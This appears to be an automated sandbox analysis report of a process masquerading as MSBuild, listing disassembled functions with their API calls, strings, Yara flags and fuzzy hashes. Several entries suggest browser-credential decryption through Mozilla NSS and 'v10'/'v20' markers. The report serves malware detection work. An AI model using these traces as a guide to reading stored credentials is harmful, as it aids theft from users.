Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: e1fc21a2912825933fdce31ca827d7024ce7cf7bea4f077960aab9cbe14c717a
Instruction ID: 0077fe55af68939e2225c810eea5b7aa7d9c59fb6d9bbf0719f7a2146fff6c81
Opcode Fuzzy Hash: e1fc21a2912825933fdce31ca827d7024ce7cf7bea4f077960aab9cbe14c717a
Instruction Fuzzy Hash: 792191B5A05641CFD700AF39D484569BBF4FF45304F0A896AD888CB711EB36E886CBD2

Function 6CAEF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CADCBE8: GetCurrentProcess.KERNEL32(?,6CAA31A7), ref: 6CADCBF1
Part of subcall function 6CADCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAA31A7), ref: 6CADCBFA

Part of subcall function 6CAE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAB4A68), ref: 6CAE945E
Part of subcall function 6CAE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAE9470
Part of subcall function 6CAE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAE9482
Part of subcall function 6CAE9420: __Init_thread_footer.LIBCMT ref: 6CAE949F

GetCurrentThreadId.KERNEL32 ref: 6CAEF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CAEF598), ref: 6CAEF621

Part of subcall function 6CAE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAE94EE
Part of subcall function 6CAE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAE9508

GetCurrentThreadId.KERNEL32 ref: 6CAEF637
AcquireSRWLockExclusive.KERNEL32(6CB2F4B8,?,?,00000000,?,6CAEF598), ref: 6CAEF645
ReleaseSRWLockExclusive.KERNEL32(6CB2F4B8,?,?,00000000,?,6CAEF598), ref: 6CAEF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CAEF62A

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 2bdd8df93cdabacac2c5a93412c1a8f6d0f727010a90152949d0f912cf6a5d14
Instruction ID: 1a22b61894e253262355f6e32db1f89777bcb9e987b5f5be5bf9d226a1d6faec
Opcode Fuzzy Hash: 2bdd8df93cdabacac2c5a93412c1a8f6d0f727010a90152949d0f912cf6a5d14
Instruction Fuzzy Hash: CD112375201210ABDB04AF28DA08DF57779FB8A368B500419EA0687F01CB79A815CBF0

Function 6CCD2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CCD2CA0
PR_ExitMonitor.NSS3 ref: 6CCD2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CCD2CD1
strdup.MOZGLUE(?), ref: 6CCD2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CCD2D27

Strings

Loaded library %s (static lib), xrefs: 6CCD2D22

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 25c2294dcd125fda163fd0cf86f2ffad40c35348801ec54ee11f928c2b286cb7
Instruction ID: 54f3bcd6e3433d4a5ee80d77ad603381e18de6ba567a9b92de9a2f419dc2cece
Opcode Fuzzy Hash: 25c2294dcd125fda163fd0cf86f2ffad40c35348801ec54ee11f928c2b286cb7
Instruction Fuzzy Hash: EA1196B1B012409BFB108F15D855A6A77B9AB8531EF15813DEB0987B41E736FC08CB91

Function 0041FB42 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041FB8B
DName::operator+.LIBCMT ref: 0041FB92
DName::DName.LIBCMT ref: 0041FBB4
DName::operator+.LIBCMT ref: 0041FBBB
DName::operator+.LIBCMT ref: 0041FBC2

Strings

throw(, xrefs: 0041FB83, 0041FBAC

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: acf3c3f6b62bbe0bf60cea1499b19d7b2d2c206c409909a41351c69a4c2d4579
Instruction ID: ba1955fdff4c252f9a606c57b8f1c9a48ddf06d7b75bf01b8414d0fb9b5eadfe
Opcode Fuzzy Hash: acf3c3f6b62bbe0bf60cea1499b19d7b2d2c206c409909a41351c69a4c2d4579
Instruction Fuzzy Hash: E4015B34600209EFCF04DF64D856DED7BB5EF44749F50407AF50597292DA78EA8AC748

Function 6CC2ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CC2ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CC2EDCE

Part of subcall function 6CC20BE0: malloc.MOZGLUE(6CC18D2D,?,00000000,?), ref: 6CC20BF8
Part of subcall function 6CC20BE0: TlsGetValue.KERNEL32(6CC18D2D,?,00000000,?), ref: 6CC20C15

free.MOZGLUE(00000000,?,?,?,?,6CC2B04F), ref: 6CC2EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC2EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CC2EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CC2EEFB

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: dc26538a55c41381c81cd0dc8d9d535136d1a4dfad2d589359810287b80ea947
Instruction ID: 35229804c548d06c7871411ef3782f30fe287d1db21ff4e2800eb27cdc1a8a4e
Opcode Fuzzy Hash: dc26538a55c41381c81cd0dc8d9d535136d1a4dfad2d589359810287b80ea947
Instruction Fuzzy Hash: 17817FB5A002059FEB14CF69D884BABB7F5FF48309F14442CE925AB751E739E814CBA1

Function 6CB014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB014E2
GetCurrentThreadId.KERNEL32 ref: 6CB01546
InitializeConditionVariable.KERNEL32(?), ref: 6CB015BA
free.MOZGLUE(?), ref: 6CB016B4

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 8836cdc161f0e34a6e3b07290e9080f1ec4785a886092d9212b91144ca8afc1b
Instruction ID: 919bed9047de19c684b8faf9b1a3f2c33159c22f88145302915a550ad003feaf
Opcode Fuzzy Hash: 8836cdc161f0e34a6e3b07290e9080f1ec4785a886092d9212b91144ca8afc1b
Instruction Fuzzy Hash: 85610471A007549BDB159F24C880BEEBBB5FF89308F04851CED8A57701DB35E989CB92

Function 6CC2CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC2C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC2DAE2,?), ref: 6CC2C6C2

PR_Now.NSS3 ref: 6CC2CD35

Part of subcall function 6CC89DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CCD0A27), ref: 6CC89DC6
Part of subcall function 6CC89DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CCD0A27), ref: 6CC89DD1
Part of subcall function 6CC89DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC89DED

Part of subcall function 6CC16C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CBC1C6F,00000000,00000004,?,?), ref: 6CC16C3F

PR_GetCurrentThread.NSS3 ref: 6CC2CD54

Part of subcall function 6CC89BF0: TlsGetValue.KERNEL32(?,?,?,6CCD0A75), ref: 6CC89C07

Part of subcall function 6CC17260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CBC1CCC,00000000,00000000,?,?), ref: 6CC1729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC2CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CC2CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CC2CE2C

Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC210F3
Part of subcall function 6CC210C0: EnterCriticalSection.KERNEL32(?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2110C
Part of subcall function 6CC210C0: PL_ArenaAllocate.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21141
Part of subcall function 6CC210C0: PR_Unlock.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21182
Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CC2CE40

Part of subcall function 6CC214C0: TlsGetValue.KERNEL32 ref: 6CC214E0
Part of subcall function 6CC214C0: EnterCriticalSection.KERNEL32 ref: 6CC214F5
Part of subcall function 6CC214C0: PR_Unlock.NSS3 ref: 6CC2150D

Part of subcall function 6CC2CEE0: PORT_ArenaMark_Util.NSS3(?,6CC2CD93,?), ref: 6CC2CEEE
Part of subcall function 6CC2CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CC2CD93,?), ref: 6CC2CEFC
Part of subcall function 6CC2CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CC2CD93,?), ref: 6CC2CF0B
Part of subcall function 6CC2CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CC2CD93,?), ref: 6CC2CF1D

Part of subcall function 6CC2CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CC2CD93,?), ref: 6CC2CF47
Part of subcall function 6CC2CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CC2CD93,?), ref: 6CC2CF67
Part of subcall function 6CC2CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CC2CD93,?,?,?,?,?,?,?,?,?,?,?,6CC2CD93,?), ref: 6CC2CF78

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 0ebd02ac96f49a5a77e2e37d12a0ca6ce696a97deb33d81b3fc3f709e7691195
Instruction ID: 4fd5e4816cceb4923fa7cefddf6d3f5a4c0d9667fc5396d101dd99a56688fd01
Opcode Fuzzy Hash: 0ebd02ac96f49a5a77e2e37d12a0ca6ce696a97deb33d81b3fc3f709e7691195
Instruction Fuzzy Hash: E851AFB6A012049FFB10EF69DC40BAA77E4AF48348F250524D959ABB40FB39ED05CB91

Function 6CBFEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CBFEF38

Part of subcall function 6CBE9520: PK11_IsLoggedIn.NSS3(00000000,?,6CC1379E,?,00000001,?), ref: 6CBE9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CBFEF53

Part of subcall function 6CC04C20: TlsGetValue.KERNEL32 ref: 6CC04C4C
Part of subcall function 6CC04C20: EnterCriticalSection.KERNEL32(?), ref: 6CC04C60
Part of subcall function 6CC04C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC04CA1
Part of subcall function 6CC04C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC04CBE
Part of subcall function 6CC04C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC04CD2
Part of subcall function 6CC04C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC04D3A

PR_GetCurrentThread.NSS3 ref: 6CBFEF9E

Part of subcall function 6CC89BF0: TlsGetValue.KERNEL32(?,?,?,6CCD0A75), ref: 6CC89C07

free.MOZGLUE(00000000), ref: 6CBFEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBFF016
free.MOZGLUE(00000000), ref: 6CBFF022

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: c49d28a365864fbaa0b42f5cc15912b86bf666219dcbaf829d04743cddecf301
Instruction ID: 1f1e29248ddf7be68c64bdfae0ce8619aca0ed39e44931c90525e5afa8fd8285
Opcode Fuzzy Hash: c49d28a365864fbaa0b42f5cc15912b86bf666219dcbaf829d04743cddecf301
Instruction Fuzzy Hash: 074174B1E002496BEF018FA5DC45AEE7BB9EB48358F044025F914A7750E771C91ACBA5

Function 6CAFDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAFDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CAFD38A,?), ref: 6CAFDC6F
free.MOZGLUE(?,?,?,?,?,6CAFD38A,?), ref: 6CAFDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CAFD38A,?), ref: 6CAFDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CAFD38A,?), ref: 6CAFDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CAFD38A,?), ref: 6CAFDD4A

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 01d0139e23b3f14f69305088d2034ad4e0532eb6113093fd68a5ec7633909c69
Instruction ID: 2753649e23577b681bddd87ad9efc7e9c73411df339e32ac708b6bbe843b1c70
Opcode Fuzzy Hash: 01d0139e23b3f14f69305088d2034ad4e0532eb6113093fd68a5ec7633909c69
Instruction Fuzzy Hash: 04418FB5E00215CFCB00CFA9C9809AAB7F5FF88314B554569E956A7B10DB31FC46CBA0

Function 6CAE6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CADFA80: GetCurrentThreadId.KERNEL32 ref: 6CADFA8D
Part of subcall function 6CADFA80: AcquireSRWLockExclusive.KERNEL32(6CB2F448), ref: 6CADFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAE6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CAE67C8

Part of subcall function 6CAF4290: memcpy.VCRUNTIME140(?,?,6CB02003,6CB00AD9,?,6CB00AD9,00000000,?,6CB00AD9,?,00000004,?,6CB01A62,?,6CB02003,?), ref: 6CAF42C4

Strings

data, xrefs: 6CAE6593

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 4779a7f4f4fc86b6eb2d2675fbd4408bc56ba2862dc8288d8f3edfd82b6eb4b0
Instruction ID: 1b1847663a8ec40d1f3c6533cc10d48a8c79831882c638450468edfaa15db550
Opcode Fuzzy Hash: 4779a7f4f4fc86b6eb2d2675fbd4408bc56ba2862dc8288d8f3edfd82b6eb4b0
Instruction Fuzzy Hash: BAD1FF74A083848FD724CF25D951BAFB7E5AFC9308F14492DE18987B50DB30A889CB92

Function 0041210E Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 36stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,00000000,?,?,?,00413794,00000000,00000010), ref: 00412119
lstrcpynA.KERNEL32(C:\Users\user\Desktop\,?,00000000,?), ref: 00412132
lstrlenA.KERNEL32(?), ref: 00412144
wsprintfA.USER32 ref: 00412156

Strings

C:\Users\user\Desktop\, xrefs: 0041212C, 00412131
%s%s, xrefs: 00412150

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\Desktop\
API String ID: 1206339513-4107738187
Opcode ID: e78d85b104e7b8f8ae18f25e6644af7b5d694852cb88d63dd502dd69edac9df2
Instruction ID: 2b65b01ea0560ea7e18c8daf8da5e1637e4a778ce13f385dfd922e5b6f13eae1
Opcode Fuzzy Hash: e78d85b104e7b8f8ae18f25e6644af7b5d694852cb88d63dd502dd69edac9df2
Instruction Fuzzy Hash: 83F0E9322002157FDF091F99DC48D9B7FAEDF45666F000061F908D2211C6775F1586E5

Function 0040826D Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 128memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00408307
LocalAlloc.KERNEL32(00000040,-0000001F,00000000,?,?), ref: 0040833C

Strings

ERROR_RUN_EXTRACTOR, xrefs: 004082BE
v10, xrefs: 004082CE
v20, xrefs: 00408286

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocLocal_memset
String ID: ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 52611349-380572819
Opcode ID: c583a5af4eabbf2f1e55903ac08c2fc38dd49fb6c7cace8cd31f54493459c540
Instruction ID: 4271a2f96582835c92d1499e44d2f9be6f2f81c30510370fac18fcb9411d570f
Opcode Fuzzy Hash: c583a5af4eabbf2f1e55903ac08c2fc38dd49fb6c7cace8cd31f54493459c540
Instruction Fuzzy Hash: 5541B3B2A00108ABCF10DFA5CD42ADE7BB8AB84714F15413BFD40F7280EB78D9458B99

Function 6CADF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CADF480

Part of subcall function 6CAAF100: LoadLibraryW.KERNEL32(shell32,?,6CB1D020), ref: 6CAAF122
Part of subcall function 6CAAF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CAAF132

CloseHandle.KERNEL32(00000000), ref: 6CADF555

Part of subcall function 6CAB14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAB1248,6CAB1248,?), ref: 6CAB14C9
Part of subcall function 6CAB14B0: memcpy.VCRUNTIME140(?,6CAB1248,00000000,?,6CAB1248,?), ref: 6CAB14EF

Part of subcall function 6CAAEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CAAEEE3

CreateFileW.KERNEL32 ref: 6CADF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CADF523

Strings

\oleacc.dll, xrefs: 6CADF4CB

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
